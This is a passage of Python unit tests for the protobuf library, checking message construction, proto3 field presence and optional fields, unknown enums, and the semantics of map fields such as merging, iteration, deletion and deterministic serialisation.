repeated_nested_enum=['FOO', unittest_pb2.TestAllTypes.BAR], default_int32=800, oneof_string='y') self.assertIsInstance(message, unittest_pb2.TestAllTypes) self.assertEqual(100, message.optional_int32) self.assertEqual(200, message.optional_fixed32) self.assertEqual(300.5, message.optional_float) self.assertEqual(b'x', message.optional_bytes) self.assertEqual(400, message.optionalgroup.a) self.assertIsInstance(message.optional_nested_message, unittest_pb2.TestAllTypes.NestedMessage) self.assertEqual(500, message.optional_nested_message.bb) self.assertTrue(message.HasField('optional_foreign_message')) self.assertEqual(message.optional_foreign_message, unittest_pb2.ForeignMessage()) self.assertEqual(unittest_pb2.TestAllTypes.BAZ, message.optional_nested_enum) self.assertEqual(2, len(message.repeatedgroup)) self.assertEqual(600, message.repeatedgroup[0].a) self.assertEqual(700, message.repeatedgroup[1].a) self.assertEqual(2, len(message.repeated_nested_enum)) self.assertEqual(unittest_pb2.TestAllTypes.FOO, message.repeated_nested_enum[0]) self.assertEqual(unittest_pb2.TestAllTypes.BAR, message.repeated_nested_enum[1]) self.assertEqual(800, message.default_int32) self.assertEqual('y', message.oneof_string) self.assertFalse(message.HasField('optional_int64')) self.assertEqual(0, len(message.repeated_float)) self.assertEqual(42, message.default_int64) message = unittest_pb2.TestAllTypes(optional_nested_enum=u'BAZ') self.assertEqual(unittest_pb2.TestAllTypes.BAZ, message.optional_nested_enum) with self.assertRaises(ValueError): unittest_pb2.TestAllTypes( optional_nested_message={'INVALID_NESTED_FIELD': 17}) with self.assertRaises(TypeError): unittest_pb2.TestAllTypes( optional_nested_message={'bb': 'INVALID_VALUE_TYPE'}) with self.assertRaises(ValueError): unittest_pb2.TestAllTypes(optional_nested_enum='INVALID_LABEL') with self.assertRaises(ValueError): unittest_pb2.TestAllTypes(repeated_nested_enum='FOO') def testPythonicInitWithDict(self): # Both string/unicode field name keys should work. kwargs = { 'optional_int32': 100, u'optional_fixed32': 200, } msg = unittest_pb2.TestAllTypes(**kwargs) self.assertEqual(100, msg.optional_int32) self.assertEqual(200, msg.optional_fixed32) def test_documentation(self): # Also used by the interactive help() function. doc = pydoc.html.document(unittest_pb2.TestAllTypes, 'message') self.assertIn('class TestAllTypes', doc) self.assertIn('SerializePartialToString', doc) self.assertIn('repeated_float', doc) base = unittest_pb2.TestAllTypes.__bases__[0] self.assertRaises(AttributeError, getattr, base, '_extensions_by_name') # Class to test proto3-only features/behavior (updated field presence & enums) @testing_refleaks.TestCase class Proto3Test(unittest.TestCase): # Utility method for comparing equality with a map. def assertMapIterEquals(self, map_iter, dict_value): # Avoid mutating caller's copy. dict_value = dict(dict_value) for k, v in map_iter: self.assertEqual(v, dict_value[k]) del dict_value[k] self.assertEqual({}, dict_value) def testFieldPresence(self): message = unittest_proto3_arena_pb2.TestAllTypes() # We can't test presence of non-repeated, non-submessage fields. with self.assertRaises(ValueError): message.HasField('optional_int32') with self.assertRaises(ValueError): message.HasField('optional_float') with self.assertRaises(ValueError): message.HasField('optional_string') with self.assertRaises(ValueError): message.HasField('optional_bool') # But we can still test presence of submessage fields. self.assertFalse(message.HasField('optional_nested_message')) # As with proto2, we can't test presence of fields that don't exist, or # repeated fields. with self.assertRaises(ValueError): message.HasField('field_doesnt_exist') with self.assertRaises(ValueError): message.HasField('repeated_int32') with self.assertRaises(ValueError): message.HasField('repeated_nested_message') # Fields should default to their type-specific default. self.assertEqual(0, message.optional_int32) self.assertEqual(0, message.optional_float) self.assertEqual('', message.optional_string) self.assertEqual(False, message.optional_bool) self.assertEqual(0, message.optional_nested_message.bb) # Setting a submessage should still return proper presence information. message.optional_nested_message.bb = 0 self.assertTrue(message.HasField('optional_nested_message')) # Set the fields to non-default values. message.optional_int32 = 5 message.optional_float = 1.1 message.optional_string = 'abc' message.optional_bool = True message.optional_nested_message.bb = 15 # Clearing the fields unsets them and resets their value to default. message.ClearField('optional_int32') message.ClearField('optional_float') message.ClearField('optional_string') message.ClearField('optional_bool') message.ClearField('optional_nested_message') self.assertEqual(0, message.optional_int32) self.assertEqual(0, message.optional_float) self.assertEqual('', message.optional_string) self.assertEqual(False, message.optional_bool) self.assertEqual(0, message.optional_nested_message.bb) def testProto3ParserDropDefaultScalar(self): message_proto2 = unittest_pb2.TestAllTypes() message_proto2.optional_int32 = 0 message_proto2.optional_string = '' message_proto2.optional_bytes = b'' self.assertEqual(len(message_proto2.ListFields()), 3) message_proto3 = unittest_proto3_arena_pb2.TestAllTypes() message_proto3.ParseFromString(message_proto2.SerializeToString()) self.assertEqual(len(message_proto3.ListFields()), 0) def testProto3Optional(self): msg = test_proto3_optional_pb2.TestProto3Optional() self.assertFalse(msg.HasField('optional_int32')) self.assertFalse(msg.HasField('optional_float')) self.assertFalse(msg.HasField('optional_string')) self.assertFalse(msg.HasField('optional_nested_message')) self.assertFalse(msg.optional_nested_message.HasField('bb')) # Set fields. msg.optional_int32 = 1 msg.optional_float = 1.0 msg.optional_string = '123' msg.optional_nested_message.bb = 1 self.assertTrue(msg.HasField('optional_int32')) self.assertTrue(msg.HasField('optional_float')) self.assertTrue(msg.HasField('optional_string')) self.assertTrue(msg.HasField('optional_nested_message')) self.assertTrue(msg.optional_nested_message.HasField('bb')) # Set to default value does not clear the fields msg.optional_int32 = 0 msg.optional_float = 0.0 msg.optional_string = '' msg.optional_nested_message.bb = 0 self.assertTrue(msg.HasField('optional_int32')) self.assertTrue(msg.HasField('optional_float')) self.assertTrue(msg.HasField('optional_string')) self.assertTrue(msg.HasField('optional_nested_message')) self.assertTrue(msg.optional_nested_message.HasField('bb')) # Test serialize msg2 = test_proto3_optional_pb2.TestProto3Optional() msg2.ParseFromString(msg.SerializeToString()) self.assertTrue(msg2.HasField('optional_int32')) self.assertTrue(msg2.HasField('optional_float')) self.assertTrue(msg2.HasField('optional_string')) self.assertTrue(msg2.HasField('optional_nested_message')) self.assertTrue(msg2.optional_nested_message.HasField('bb')) self.assertEqual(msg.WhichOneof('_optional_int32'), 'optional_int32') # Clear these fields. msg.ClearField('optional_int32') msg.ClearField('optional_float') msg.ClearField('optional_string') msg.ClearField('optional_nested_message') self.assertFalse(msg.HasField('optional_int32')) self.assertFalse(msg.HasField('optional_float')) self.assertFalse(msg.HasField('optional_string')) self.assertFalse(msg.HasField('optional_nested_message')) self.assertFalse(msg.optional_nested_message.HasField('bb')) self.assertEqual(msg.WhichOneof('_optional_int32'), None) def testAssignUnknownEnum(self): """Assigning an unknown enum value is allowed and preserves the value.""" m = unittest_proto3_arena_pb2.TestAllTypes() # Proto3 can assign unknown enums. m.optional_nested_enum = 1234567 self.assertEqual(1234567, m.optional_nested_enum) m.repeated_nested_enum.append(22334455) self.assertEqual(22334455, m.repeated_nested_enum[0]) # Assignment is a different code path than append for the C++ impl. m.repeated_nested_enum[0] = 7654321 self.assertEqual(7654321, m.repeated_nested_enum[0]) serialized = m.SerializeToString() m2 = unittest_proto3_arena_pb2.TestAllTypes() m2.ParseFromString(serialized) self.assertEqual(1234567, m2.optional_nested_enum) self.assertEqual(7654321, m2.repeated_nested_enum[0]) # Map isn't really a proto3-only feature. But there is no proto2 equivalent # of google/protobuf/map_unittest.proto right now, so it's not easy to # test both with the same test like we do for the other proto2/proto3 tests. # (google/protobuf/map_proto2_unittest.proto is very different in the set # of messages and fields it contains). def testScalarMapDefaults(self): msg = map_unittest_pb2.TestMap() # Scalars start out unset. self.assertFalse(-123 in msg.map_int32_int32) self.assertFalse(-2**33 in msg.map_int64_int64) self.assertFalse(123 in msg.map_uint32_uint32) self.assertFalse(2**33 in msg.map_uint64_uint64) self.assertFalse(123 in msg.map_int32_double) self.assertFalse(False in msg.map_bool_bool) self.assertFalse('abc' in msg.map_string_string) self.assertFalse(111 in msg.map_int32_bytes) self.assertFalse(888 in msg.map_int32_enum) # Accessing an unset key returns the default. self.assertEqual(0, msg.map_int32_int32[-123]) self.assertEqual(0, msg.map_int64_int64[-2**33]) self.assertEqual(0, msg.map_uint32_uint32[123]) self.assertEqual(0, msg.map_uint64_uint64[2**33]) self.assertEqual(0.0, msg.map_int32_double[123]) self.assertTrue(isinstance(msg.map_int32_double[123], float)) self.assertEqual(False, msg.map_bool_bool[False]) self.assertTrue(isinstance(msg.map_bool_bool[False], bool)) self.assertEqual('', msg.map_string_string['abc']) self.assertEqual(b'', msg.map_int32_bytes[111]) self.assertEqual(0, msg.map_int32_enum[888]) # It also sets the value in the map self.assertTrue(-123 in msg.map_int32_int32) self.assertTrue(-2**33 in msg.map_int64_int64) self.assertTrue(123 in msg.map_uint32_uint32) self.assertTrue(2**33 in msg.map_uint64_uint64) self.assertTrue(123 in msg.map_int32_double) self.assertTrue(False in msg.map_bool_bool) self.assertTrue('abc' in msg.map_string_string) self.assertTrue(111 in msg.map_int32_bytes) self.assertTrue(888 in msg.map_int32_enum) self.assertIsInstance(msg.map_string_string['abc'], six.text_type) # Accessing an unset key still throws TypeError if the type of the key # is incorrect. with self.assertRaises(TypeError): msg.map_string_string[123] with self.assertRaises(TypeError): 123 in msg.map_string_string def testMapGet(self): # Need to test that get() properly returns the default, even though the dict # has defaultdict-like semantics. msg = map_unittest_pb2.TestMap() self.assertIsNone(msg.map_int32_int32.get(5)) self.assertEqual(10, msg.map_int32_int32.get(5, 10)) self.assertEqual(10, msg.map_int32_int32.get(key=5, default=10)) self.assertIsNone(msg.map_int32_int32.get(5)) msg.map_int32_int32[5] = 15 self.assertEqual(15, msg.map_int32_int32.get(5)) self.assertEqual(15, msg.map_int32_int32.get(5)) with self.assertRaises(TypeError): msg.map_int32_int32.get('') self.assertIsNone(msg.map_int32_foreign_message.get(5)) self.assertEqual(10, msg.map_int32_foreign_message.get(5, 10)) self.assertEqual(10, msg.map_int32_foreign_message.get(key=5, default=10)) submsg = msg.map_int32_foreign_message[5] self.assertIs(submsg, msg.map_int32_foreign_message.get(5)) with self.assertRaises(TypeError): msg.map_int32_foreign_message.get('') def testScalarMap(self): msg = map_unittest_pb2.TestMap() self.assertEqual(0, len(msg.map_int32_int32)) self.assertFalse(5 in msg.map_int32_int32) msg.map_int32_int32[-123] = -456 msg.map_int64_int64[-2**33] = -2**34 msg.map_uint32_uint32[123] = 456 msg.map_uint64_uint64[2**33] = 2**34 msg.map_int32_float[2] = 1.2 msg.map_int32_double[1] = 3.3 msg.map_string_string['abc'] = '123' msg.map_bool_bool[True] = True msg.map_int32_enum[888] = 2 # Unknown numeric enum is supported in proto3. msg.map_int32_enum[123] = 456 self.assertEqual([], msg.FindInitializationErrors()) self.assertEqual(1, len(msg.map_string_string)) # Bad key. with self.assertRaises(TypeError): msg.map_string_string[123] = '123' # Verify that trying to assign a bad key doesn't actually add a member to # the map. self.assertEqual(1, len(msg.map_string_string)) # Bad value. with self.assertRaises(TypeError): msg.map_string_string['123'] = 123 serialized = msg.SerializeToString() msg2 = map_unittest_pb2.TestMap() msg2.ParseFromString(serialized) # Bad key. with self.assertRaises(TypeError): msg2.map_string_string[123] = '123' # Bad value. with self.assertRaises(TypeError): msg2.map_string_string['123'] = 123 self.assertEqual(-456, msg2.map_int32_int32[-123]) self.assertEqual(-2**34, msg2.map_int64_int64[-2**33]) self.assertEqual(456, msg2.map_uint32_uint32[123]) self.assertEqual(2**34, msg2.map_uint64_uint64[2**33]) self.assertAlmostEqual(1.2, msg.map_int32_float[2]) self.assertEqual(3.3, msg.map_int32_double[1]) self.assertEqual('123', msg2.map_string_string['abc']) self.assertEqual(True, msg2.map_bool_bool[True]) self.assertEqual(2, msg2.map_int32_enum[888]) self.assertEqual(456, msg2.map_int32_enum[123]) self.assertEqual('{-123: -456}', str(msg2.map_int32_int32)) def testMapEntryAlwaysSerialized(self): msg = map_unittest_pb2.TestMap() msg.map_int32_int32[0] = 0 msg.map_string_string[''] = '' self.assertEqual(msg.ByteSize(), 12) self.assertEqual(b'\n\x04\x08\x00\x10\x00r\x04\n\x00\x12\x00', msg.SerializeToString()) def testStringUnicodeConversionInMap(self): msg = map_unittest_pb2.TestMap() unicode_obj = u'\u1234' bytes_obj = unicode_obj.encode('utf8') msg.map_string_string[bytes_obj] = bytes_obj (key, value) = list(msg.map_string_string.items())[0] self.assertEqual(key, unicode_obj) self.assertEqual(value, unicode_obj) self.assertIsInstance(key, six.text_type) self.assertIsInstance(value, six.text_type) def testMessageMap(self): msg = map_unittest_pb2.TestMap() self.assertEqual(0, len(msg.map_int32_foreign_message)) self.assertFalse(5 in msg.map_int32_foreign_message) msg.map_int32_foreign_message[123] # get_or_create() is an alias for getitem. msg.map_int32_foreign_message.get_or_create(-456) self.assertEqual(2, len(msg.map_int32_foreign_message)) self.assertIn(123, msg.map_int32_foreign_message) self.assertIn(-456, msg.map_int32_foreign_message) self.assertEqual(2, len(msg.map_int32_foreign_message)) # Bad key. with self.assertRaises(TypeError): msg.map_int32_foreign_message['123'] # Can't assign directly to submessage. with self.assertRaises(ValueError): msg.map_int32_foreign_message[999] = msg.map_int32_foreign_message[123] # Verify that trying to assign a bad key doesn't actually add a member to # the map. self.assertEqual(2, len(msg.map_int32_foreign_message)) serialized = msg.SerializeToString() msg2 = map_unittest_pb2.TestMap() msg2.ParseFromString(serialized) self.assertEqual(2, len(msg2.map_int32_foreign_message)) self.assertIn(123, msg2.map_int32_foreign_message) self.assertIn(-456, msg2.map_int32_foreign_message) self.assertEqual(2, len(msg2.map_int32_foreign_message)) msg2.map_int32_foreign_message[123].c = 1 # TODO(jieluo): Fix text format for message map. self.assertIn(str(msg2.map_int32_foreign_message), ('{-456: , 123: c: 1\n}', '{123: c: 1\n, -456: }')) def testNestedMessageMapItemDelete(self): msg = map_unittest_pb2.TestMap() msg.map_int32_all_types[1].optional_nested_message.bb = 1 del msg.map_int32_all_types[1] msg.map_int32_all_types[2].optional_nested_message.bb = 2 self.assertEqual(1, len(msg.map_int32_all_types)) msg.map_int32_all_types[1].optional_nested_message.bb = 1 self.assertEqual(2, len(msg.map_int32_all_types)) serialized = msg.SerializeToString() msg2 = map_unittest_pb2.TestMap() msg2.ParseFromString(serialized) keys = [1, 2] # The loop triggers PyErr_Occurred() in c extension. for key in keys: del msg2.map_int32_all_types[key] def testMapByteSize(self): msg = map_unittest_pb2.TestMap() msg.map_int32_int32[1] = 1 size = msg.ByteSize() msg.map_int32_int32[1] = 128 self.assertEqual(msg.ByteSize(), size + 1) msg.map_int32_foreign_message[19].c = 1 size = msg.ByteSize() msg.map_int32_foreign_message[19].c = 128 self.assertEqual(msg.ByteSize(), size + 1) def testMergeFrom(self): msg = map_unittest_pb2.TestMap() msg.map_int32_int32[12] = 34 msg.map_int32_int32[56] = 78 msg.map_int64_int64[22] = 33 msg.map_int32_foreign_message[111].c = 5 msg.map_int32_foreign_message[222].c = 10 msg2 = map_unittest_pb2.TestMap() msg2.map_int32_int32[12] = 55 msg2.map_int64_int64[88] = 99 msg2.map_int32_foreign_message[222].c = 15 msg2.map_int32_foreign_message[222].d = 20 old_map_value = msg2.map_int32_foreign_message[222] msg2.MergeFrom(msg) # Compare with expected message instead of call # msg2.map_int32_foreign_message[222] to make sure MergeFrom does not # sync with repeated field and there is no duplicated keys. expected_msg = map_unittest_pb2.TestMap() expected_msg.CopyFrom(msg) expected_msg.map_int64_int64[88] = 99 self.assertEqual(msg2, expected_msg) self.assertEqual(34, msg2.map_int32_int32[12]) self.assertEqual(78, msg2.map_int32_int32[56]) self.assertEqual(33, msg2.map_int64_int64[22]) self.assertEqual(99, msg2.map_int64_int64[88]) self.assertEqual(5, msg2.map_int32_foreign_message[111].c) self.assertEqual(10, msg2.map_int32_foreign_message[222].c) self.assertFalse(msg2.map_int32_foreign_message[222].HasField('d')) if api_implementation.Type() != 'cpp': # During the call to MergeFrom(), the C++ implementation will have # deallocated the underlying message, but this is very difficult to detect # properly. The line below is likely to cause a segmentation fault. # With the Python implementation, old_map_value is just 'detached' from # the main message. Using it will not crash of course, but since it still # have a reference to the parent message I'm sure we can find interesting # ways to cause inconsistencies. self.assertEqual(15, old_map_value.c) # Verify that there is only one entry per key, even though the MergeFrom # may have internally created multiple entries for a single key in the # list representation. as_dict = {} for key in msg2.map_int32_foreign_message: self.assertFalse(key in as_dict) as_dict[key] = msg2.map_int32_foreign_message[key].c self.assertEqual({111: 5, 222: 10}, as_dict) # Special case: test that delete of item really removes the item, even if # there might have physically been duplicate keys due to the previous merge. # This is only a special case for the C++ implementation which stores the # map as an array. del msg2.map_int32_int32[12] self.assertFalse(12 in msg2.map_int32_int32) del msg2.map_int32_foreign_message[222] self.assertFalse(222 in msg2.map_int32_foreign_message) with self.assertRaises(TypeError): del msg2.map_int32_foreign_message[''] def testMapMergeFrom(self): msg = map_unittest_pb2.TestMap() msg.map_int32_int32[12] = 34 msg.map_int32_int32[56] = 78 msg.map_int64_int64[22] = 33 msg.map_int32_foreign_message[111].c = 5 msg.map_int32_foreign_message[222].c = 10 msg2 = map_unittest_pb2.TestMap() msg2.map_int32_int32[12] = 55 msg2.map_int64_int64[88] = 99 msg2.map_int32_foreign_message[222].c = 15 msg2.map_int32_foreign_message[222].d = 20 msg2.map_int32_int32.MergeFrom(msg.map_int32_int32) self.assertEqual(34, msg2.map_int32_int32[12]) self.assertEqual(78, msg2.map_int32_int32[56]) msg2.map_int64_int64.MergeFrom(msg.map_int64_int64) self.assertEqual(33, msg2.map_int64_int64[22]) self.assertEqual(99, msg2.map_int64_int64[88]) msg2.map_int32_foreign_message.MergeFrom(msg.map_int32_foreign_message) # Compare with expected message instead of call # msg.map_int32_foreign_message[222] to make sure MergeFrom does not # sync with repeated field and no duplicated keys. expected_msg = map_unittest_pb2.TestMap() expected_msg.CopyFrom(msg) expected_msg.map_int64_int64[88] = 99 self.assertEqual(msg2, expected_msg) # Test when cpp extension cache a map. m1 = map_unittest_pb2.TestMap() m2 = map_unittest_pb2.TestMap() self.assertEqual(m1.map_int32_foreign_message, m1.map_int32_foreign_message) m2.map_int32_foreign_message[123].c = 10 m1.MergeFrom(m2) self.assertEqual(10, m2.map_int32_foreign_message[123].c) # Test merge maps within different message types. m1 = map_unittest_pb2.TestMap() m2 = map_unittest_pb2.TestMessageMap() m2.map_int32_message[123].optional_int32 = 10 m1.map_int32_all_types.MergeFrom(m2.map_int32_message) self.assertEqual(10, m1.map_int32_all_types[123].optional_int32) # Test overwrite message value map msg = map_unittest_pb2.TestMap() msg.map_int32_foreign_message[222].c = 123 msg2 = map_unittest_pb2.TestMap() msg2.map_int32_foreign_message[222].d = 20 msg.MergeFromString(msg2.SerializeToString()) self.assertEqual(msg.map_int32_foreign_message[222].d, 20) self.assertNotEqual(msg.map_int32_foreign_message[222].c, 123) def testMergeFromBadType(self): msg = map_unittest_pb2.TestMap() with self.assertRaisesRegexp( TypeError, r'Parameter to MergeFrom\(\) must be instance of same class: expected ' r'.*TestMap got int\.'): msg.MergeFrom(1) def testCopyFromBadType(self): msg = map_unittest_pb2.TestMap() with self.assertRaisesRegexp( TypeError, r'Parameter to [A-Za-z]*From\(\) must be instance of same class: ' r'expected .*TestMap got int\.'): msg.CopyFrom(1) def testIntegerMapWithLongs(self): msg = map_unittest_pb2.TestMap() msg.map_int32_int32[long(-123)] = long(-456) msg.map_int64_int64[long(-2**33)] = long(-2**34) msg.map_uint32_uint32[long(123)] = long(456) msg.map_uint64_uint64[long(2**33)] = long(2**34) serialized = msg.SerializeToString() msg2 = map_unittest_pb2.TestMap() msg2.ParseFromString(serialized) self.assertEqual(-456, msg2.map_int32_int32[-123]) self.assertEqual(-2**34, msg2.map_int64_int64[-2**33]) self.assertEqual(456, msg2.map_uint32_uint32[123]) self.assertEqual(2**34, msg2.map_uint64_uint64[2**33]) def testMapAssignmentCausesPresence(self): msg = map_unittest_pb2.TestMapSubmessage() msg.test_map.map_int32_int32[123] = 456 serialized = msg.SerializeToString() msg2 = map_unittest_pb2.TestMapSubmessage() msg2.ParseFromString(serialized) self.assertEqual(msg, msg2) # Now test that various mutations of the map properly invalidate the # cached size of the submessage. msg.test_map.map_int32_int32[888] = 999 serialized = msg.SerializeToString() msg2.ParseFromString(serialized) self.assertEqual(msg, msg2) msg.test_map.map_int32_int32.clear() serialized = msg.SerializeToString() msg2.ParseFromString(serialized) self.assertEqual(msg, msg2) def testMapAssignmentCausesPresenceForSubmessages(self): msg = map_unittest_pb2.TestMapSubmessage() msg.test_map.map_int32_foreign_message[123].c = 5 serialized = msg.SerializeToString() msg2 = map_unittest_pb2.TestMapSubmessage() msg2.ParseFromString(serialized) self.assertEqual(msg, msg2) # Now test that various mutations of the map properly invalidate the # cached size of the submessage. msg.test_map.map_int32_foreign_message[888].c = 7 serialized = msg.SerializeToString() msg2.ParseFromString(serialized) self.assertEqual(msg, msg2) msg.test_map.map_int32_foreign_message[888].MergeFrom( msg.test_map.map_int32_foreign_message[123]) serialized = msg.SerializeToString() msg2.ParseFromString(serialized) self.assertEqual(msg, msg2) msg.test_map.map_int32_foreign_message.clear() serialized = msg.SerializeToString() msg2.ParseFromString(serialized) self.assertEqual(msg, msg2) def testModifyMapWhileIterating(self): msg = map_unittest_pb2.TestMap() string_string_iter = iter(msg.map_string_string) int32_foreign_iter = iter(msg.map_int32_foreign_message) msg.map_string_string['abc'] = '123' msg.map_int32_foreign_message[5].c = 5 with self.assertRaises(RuntimeError): for key in string_string_iter: pass with self.assertRaises(RuntimeError): for key in int32_foreign_iter: pass def testSubmessageMap(self): msg = map_unittest_pb2.TestMap() submsg = msg.map_int32_foreign_message[111] self.assertIs(submsg, msg.map_int32_foreign_message[111]) self.assertIsInstance(submsg, unittest_pb2.ForeignMessage) submsg.c = 5 serialized = msg.SerializeToString() msg2 = map_unittest_pb2.TestMap() msg2.ParseFromString(serialized) self.assertEqual(5, msg2.map_int32_foreign_message[111].c) # Doesn't allow direct submessage assignment. with self.assertRaises(ValueError): msg.map_int32_foreign_message[88] = unittest_pb2.ForeignMessage() def testMapIteration(self): msg = map_unittest_pb2.TestMap() for k, v in msg.map_int32_int32.items(): # Should not be reached. self.assertTrue(False) msg.map_int32_int32[2] = 4 msg.map_int32_int32[3] = 6 msg.map_int32_int32[4] = 8 self.assertEqual(3, len(msg.map_int32_int32)) matching_dict = {2: 4, 3: 6, 4: 8} self.assertMapIterEquals(msg.map_int32_int32.items(), matching_dict) def testPython2Map(self): if sys.version_info < (3,): msg = map_unittest_pb2.TestMap() msg.map_int32_int32[2] = 4 msg.map_int32_int32[3] = 6 msg.map_int32_int32[4] = 8 msg.map_int32_int32[5] = 10 map_int32 = msg.map_int32_int32 self.assertEqual(4, len(map_int32)) msg2 = map_unittest_pb2.TestMap() msg2.ParseFromString(msg.SerializeToString()) def CheckItems(seq, iterator): self.assertEqual(next(iterator), seq[0]) self.assertEqual(list(iterator), seq[1:]) CheckItems(map_int32.items(), map_int32.iteritems()) CheckItems(map_int32.keys(), map_int32.iterkeys()) CheckItems(map_int32.values(), map_int32.itervalues()) self.assertEqual(6, map_int32.get(3)) self.assertEqual(None, map_int32.get(999)) self.assertEqual(6, map_int32.pop(3)) self.assertEqual(0, map_int32.pop(3)) self.assertEqual(3, len(map_int32)) key, value = map_int32.popitem() self.assertEqual(2 * key, value) self.assertEqual(2, len(map_int32)) map_int32.clear() self.assertEqual(0, len(map_int32)) with self.assertRaises(KeyError): map_int32.popitem() self.assertEqual(0, map_int32.setdefault(2)) self.assertEqual(1, len(map_int32)) map_int32.update(msg2.map_int32_int32) self.assertEqual(4, len(map_int32)) with self.assertRaises(TypeError): map_int32.update(msg2.map_int32_int32, msg2.map_int32_int32) with self.assertRaises(TypeError): map_int32.update(0) with self.assertRaises(TypeError): map_int32.update(value=12) def testMapItems(self): # Map items used to have strange behaviors when use c extension. Because # [] may reorder the map and invalidate any exsting iterators. # TODO(jieluo): Check if [] reordering the map is a bug or intended # behavior. msg = map_unittest_pb2.TestMap() msg.map_string_string['local_init_op'] = '' msg.map_string_string['trainable_variables'] = '' msg.map_string_string['variables'] = '' msg.map_string_string['init_op'] = '' msg.map_string_string['summaries'] = '' items1 = msg.map_string_string.items() items2 = msg.map_string_string.items() self.assertEqual(items1, items2) def testMapDeterministicSerialization(self): golden_data = (b'r\x0c\n\x07init_op\x12\x01d' b'r\n\n\x05item1\x12\x01e' b'r\n\n\x05item2\x12\x01f' b'r\n\n\x05item3\x12\x01g' b'r\x0b\n\x05item4\x12\x02QQ' b'r\x12\n\rlocal_init_op\x12\x01a' b'r\x0e\n\tsummaries\x12\x01e' b'r\x18\n\x13trainable_variables\x12\x01b' b'r\x0e\n\tvariables\x12\x01c') msg = map_unittest_pb2.TestMap() msg.map_string_string['local_init_op'] = 'a' msg.map_string_string['trainable_variables'] = 'b' msg.map_string_string['variables'] = 'c' msg.map_string_string['init_op'] = 'd' msg.map_string_string['summaries'] = 'e' msg.map_string_string['item1'] = 'e' msg.map_string_string['item2'] = 'f' msg.map_string_string['item3'] = 'g' msg.map_string_string['item4'] = 'QQ' # If deterministic serialization is not working correctly, this will be # "flaky" depending on the exact python dict hash seed. # # Fortunately, there are enough items in this map that it is extremely # unlikely to ever hit the "right" in-order combination, so the test # itself should fail reliably. self.assertEqual(golden_data, msg.SerializeToString(deterministic=True)) def testMapIterationClearMessage(self): # Iterator needs to work even if message and map are deleted. msg = map_unittest_pb2.TestMap() msg.map_int32_int32[2] = 4 msg.map_int32_int32[3] = 6 msg.map_int32_int32[4] = 8 it = msg.map_int32_int32.items() del msg matching_dict = {2: 4, 3: 6, 4: 8} self.assertMapIterEquals(it, matching_dict) def testMapConstruction(self): msg = map_unittest_pb2.TestMap(map_int32_int32={1: 2, 3: 4}) self.assertEqual(2, msg.map_int32_int32[1]) self.assertEqual(4, msg.map_int32_int32[3]) msg = map_unittest_pb2.TestMap( map_int32_foreign_message={3: unittest_pb2.ForeignMessage(c=5)}) self.assertEqual(5, msg.map_int32_foreign_message[3].c) def testMapScalarFieldConstruction(self): msg1 = map_unittest_pb2.TestMap() msg1.map_int32_int32[1] = 42 msg2 = map_unittest_pb2.TestMap(map_int32_int32=msg1.map_int32_int32) self.assertEqual(42, msg2.map_int32_int32[1]) def testMapMessageFieldConstruction(self): msg1 = map_unittest_pb2.TestMap() msg1.map_string_foreign_message['test'].c = 42 msg2 = map_unittest_pb2.TestMap( map_string_foreign_message=msg1.map_string_foreign_message) self.assertEqual(42, msg2.map_string_foreign_message['test'].c) def testMapFieldRaisesCorrectError(self): # Should raise a TypeError when given a non-iterable. with self.assertRaises(TypeError): map_unittest_pb2.TestMap(map_string_foreign_message=1) def testMapValidAfterFieldCleared(self): # Map needs to work even if field is cleared. # For the C++ implementation this tests the correctness of # MapContainer::Release() msg = map_unittest_pb2.TestMap() int32_map = msg.map_int32_int32 int32_map[2] = 4 int32_map[3] = 6 int32_map[4] = 8 msg.ClearField('map_int32_int32') self.assertEqual(b'', msg.SerializeToString()) matching_dict = {2: 4, 3: 6, 4: 8} self.assertMapIterEquals(int32_map.items(), matching_dict) def testMessageMapValidAfterFieldCleared(self): # Map needs to work even if field is cleared. # For the C++ implementation this tests the correctness of # MapContainer::Release() msg = map_unittest_pb2.TestMap() int32_foreign_message = msg.map_int32_foreign_message int32_foreign_message[2].c = 5 msg.ClearField('map_int32_foreign_message') self.assertEqual(b'', msg.SerializeToString()) self.assertTrue(2 in int32_foreign_message.keys()) def testMessageMapItemValidAfterTopMessageCleared(self): # Message map item needs to work even if it is cleared. # For the C++ implementation this tests the correctness of # MapContainer::Release() msg = map_unittest_pb2.TestMap() msg.map_int32_all_types[2].optional_string = 'bar' if api_implementation.Type() == 'cpp': # Need to keep the map reference because of b/27942626. # TODO(jieluo): Remove it. unused_map = msg.map_int32_all_types # pylint: disable=unused-variable msg_value = msg.map_int32_all_types[2] msg.Clear() # Reset to trigger sync between repeated field and map in c++. msg.map_int32_all_types[3].optional_string = 'foo' self.assertEqual(msg_value.optional_string, 'bar') def testMapIterInvalidatedByClearField(self): # Map iterator is invalidated when field is cleared. # But this case does need to not crash the interpreter. # For the C++ implementation this tests the correctness of # ScalarMapContainer::Release() msg = map_unittest_pb2.TestMap() it = iter(msg.map_int32_int32) msg.ClearField('map_int32_int32') with self.assertRaises(RuntimeError): for _ in it: pass it = iter(msg.map_int32_foreign_message) msg.ClearField('map_int32_foreign_message') with self.assertRaises(RuntimeError): for _ in it: pass def testMapDelete(self): msg = map_unittest_pb2.TestMap() self.assertEqual(0, len(msg.map_int32_int32)) msg.map_int32_int32[4] = 6 self.assertEqual(1, len(msg.map_int32_int32)) with self.assertRaises(KeyError): del msg.map_int32_int32[88] del msg.map_int32_int32[4] self.assertEqual(0, len(msg.map_int32_int32)) with self.assertRaises(KeyError): del msg.map_int32_all_types[32] def testMapsAreMapping(self): msg = map_unittest_pb2.TestMap() self.assertIsInstance(msg.map_int32_int32, collections_abc.Mapping) self.assertIsInstance(msg.map_int32_int32, collections_abc.MutableMapping) self.assertIsInstance(msg.map_int32_foreign_message, collections_abc.Mapping) self.assertIsInstance(msg.map_int32_foreign_message, collections_abc.MutableMapping) def testMapsCompare(self): msg = map_unittest_pb2.TestMap() msg.map_int32_int32[-123] = -456 self.assertEqual(msg.map_int32_int32, msg.map_int32_int32) self.assertEqual(msg.map_int32_foreign_message, msg.map_int32_foreign_message) self.assertNotEqual(msg.map_int32_int32, 0) def testMapFindInitializationErrorsSmokeTest(self): msg = map_unittest_pb2.TestMap() msg.map_string_string['abc'] = '123' msg.map_int32_int32[35] = 64 msg.map_string_foreign_message['foo'].c = 5 self.assertEqual(0, len(msg.FindInitializationErrors())) @unittest.skipIf(sys.maxunicode == UCS2_MAXUNICODE, 'Skip for ucs2') def testStrictUtf8Check(self): # Test u'\ud801' is rejected at parser in both python2 and python3. serialized = (b'r\x03\xed\xa0\x81') msg = unittest_proto3_arena_pb2.TestAllTypes() with self.assertRaises(Exception) as context: 